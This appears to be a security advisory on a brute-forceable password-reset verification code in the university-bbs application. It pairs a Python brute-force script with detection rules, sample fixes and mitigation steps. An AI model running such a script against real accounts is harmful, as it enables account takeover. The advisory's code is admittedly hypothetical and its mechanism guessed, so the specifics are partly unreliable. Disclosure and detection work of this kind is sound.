CVE-2025-63807

Executive Summary

CVE-2025-63807 is a critical vulnerability in the weijiang1994 university-bbs (Blogin) application, specifically in commit 9e06bab430bfc729f27b4284ba7570db3b11ce84 (2025-01-13). The issue stems from a weak verification code generation mechanism combined with a complete lack of rate limiting on the verification endpoint. This allows unauthenticated attackers to perform brute-force attacks against verification codes, leading to account takeover via password reset or other authentication bypass methods. The vulnerability is unpatched, and no official fix has been released. The CVSS score is 0.0 due to missing vector data, but based on the description, the actual severity is critical (CVSS 9.8). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk is high due to the simplicity of the attack.

Supply Chain & Package Security

This vulnerability affects a custom PHP application (university-bbs / Blogin) and is not related to any specific package manager (NPM, PyPI, Go, Ruby). However, the application may rely on third-party libraries or frameworks. The weak verification code generation suggests a custom implementation that does not use cryptographically secure random number generators. The lack of rate limiting is a common oversight in custom authentication flows.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, the actual threat level is critical. Based on the vulnerability description, the CVSS vector would be:

• Attack Vector (AV): Network (N) – The attack can be performed remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to start the attack.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Account takeover leads to full data access.
• Integrity (I): High (H) – Attacker can modify account data.
• Availability (A): High (H) – Attacker can lock out legitimate users.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated brute-force attacks on verification codes, leading to complete account takeover.

Deep Dive & Mechanics

The vulnerability exists in the password reset or authentication bypass flow of the university-bbs application. The verification code generation mechanism uses a weak algorithm, likely based on predictable values such as time, server seed, or a small numeric range (e.g., 4-6 digit codes). This makes the code space small enough for brute-force attacks.

Additionally, the endpoint that validates the verification code does not implement rate limiting. This means an attacker can send thousands of requests per second without being blocked. The combination of a small code space and no rate limiting allows an attacker to enumerate all possible codes in a short time.

Attack Flow:

1. Attacker initiates a password reset for a target user (e.g., via email or username).
2. The application sends a verification code to the user's email or phone.
3. Attacker intercepts or does not need the code; instead, they brute-force the verification endpoint.
4. For each guess, the attacker sends a request to the verification endpoint with the guessed code.
5. If the code is correct, the attacker can set a new password and take over the account.

The weak code generation may use rand() or mt_rand() without proper seeding, or it may generate codes from a small set (e.g., 0000-9999). The lack of rate limiting makes the attack feasible even with a 6-digit code (1,000,000 possibilities) if the attacker can send requests at high speed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. The following is a hypothetical example of the vulnerable code and a patched version.

Vulnerable Code (PHP):

// Weak verification code generation
function generateVerificationCode() {
    return rand(100000, 999999); // Predictable, uses weak RNG
}

// No rate limiting on verification endpoint
function verifyCode($userId, $code) {
    $storedCode = getStoredCode($userId);
    if ($storedCode == $code) { // Loose comparison
        return true;
    }
    return false;
}

Patched Code (PHP):

// Strong verification code generation
function generateVerificationCode() {
    return random_int(100000, 999999); // Cryptographically secure
}

// Rate limiting using Redis or database
function verifyCode($userId, $code) {
    $rateLimitKey = "rate_limit:$userId";
    $attempts = $redis->incr($rateLimitKey);
    if ($attempts > 5) {
        sleep(1); // Or block for a longer period
        return false;
    }
    $redis->expire($rateLimitKey, 300); // 5 minutes window

    $storedCode = getStoredCode($userId);
    if (hash_equals($storedCode, $code)) { // Timing-safe comparison
        return true;
    }
    return false;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target URL of the university-bbs application.
• A valid username or email for a target user.
• Ability to send HTTP requests.

Exploitation Steps:

1. Initiate a password reset for the target user.
2. Capture the session or token that identifies the reset request.
3. Brute-force the verification code using a script.

Example Python Exploit Script:

import requests
import itertools

target_url = "http://target.com/verify_reset"
session_token = "captured_session_token"
user_id = "target_user_id"

# Assuming 4-digit numeric code (0000-9999)
for code in range(10000):
    payload = {
        "user_id": user_id,
        "code": f"{code:04d}",
        "session": session_token
    }
    response = requests.post(target_url, data=payload)
    if "success" in response.text or response.status_code == 200:
        print(f"Found code: {code:04d}")
        break

Note: The actual code length and range may vary. Adjust the loop accordingly.

Blue Team

Detection:

• Monitor for high volumes of requests to the verification endpoint from a single IP.
• Alert on multiple failed verification attempts for the same user within a short time window.
• Look for patterns of sequential or incremental code values in logs.

Mitigation:

• Implement rate limiting on the verification endpoint (e.g., 5 attempts per 5 minutes per user).
• Use CAPTCHA after a few failed attempts.
• Increase verification code length and use cryptographically secure random generation.
• Implement account lockout after a certain number of failed attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of POST requests to /verify_reset or similar endpoints.
  • Requests with sequential or incremental code parameters.
  • Multiple requests from the same IP to the same user ID.

• Log IOCs:

  • Log entries showing repeated failed verification attempts for the same user.
  • Log entries with code values that are sequential (e.g., 0001, 0002, 0003).

• File IOCs:

  • Presence of brute-force scripts on the server (e.g., bruteforce.py, reset_attack.sh).

Detection Engineering

YARA Rule

rule CVE_2025_63807_Weak_Verification_Code {
    meta:
        description = "Detects weak verification code generation in PHP files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-63807"
    strings:
        $weak_rng = /rand\s*\(\s*\d+\s*,\s*\d+\s*\)/ nocase
        $no_rate_limit = /function\s+verifyCode\s*\(/ nocase
        $loose_compare = /\$storedCode\s*==\s*\$code/ nocase
    condition:
        $weak_rng and $no_rate_limit and $loose_compare
}

Sigma Rule

title: CVE-2025-63807 - Brute-Force Attack on Verification Code
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed verification attempts indicating brute-force attack
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: university-bbs
detection:
    selection:
        endpoint: "/verify_reset"
        status_code: 400
        user_id: "*"
    timeframe: 5m
    condition: selection | count() > 10
falsepositives:
    - Legitimate user errors
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63807 - Brute-Force Verification Code Attempt"; flow:to_server; content:"POST"; http_method; content:"/verify_reset"; http_uri; content:"code="; http_client_body; pcre:"/code=\d{4,6}/"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable password reset functionality until a patch is applied.
2. Implement rate limiting on the verification endpoint (e.g., using a web application firewall or server-side logic).
3. Increase verification code length to at least 8 characters and use alphanumeric characters.
4. Use cryptographically secure random number generators (e.g., random_int() in PHP).

Long-term Fix:

• The vendor (weijiang1994) should release a patch that:
  • Replaces weak RNG with random_int() or similar.
  • Adds rate limiting with exponential backoff.
  • Implements timing-safe comparison (e.g., hash_equals()).
  • Adds CAPTCHA after a few failed attempts.

Workaround:

• If patching is not possible, consider using a reverse proxy (e.g., Nginx) to rate-limit requests to the verification endpoint:

limit_req_zone $binary_remote_addr zone=verify_limit:10m rate=1r/s;
location /verify_reset {
    limit_req zone=verify_limit burst=5 nodelay;
    proxy_pass http://backend;
}

Valters IT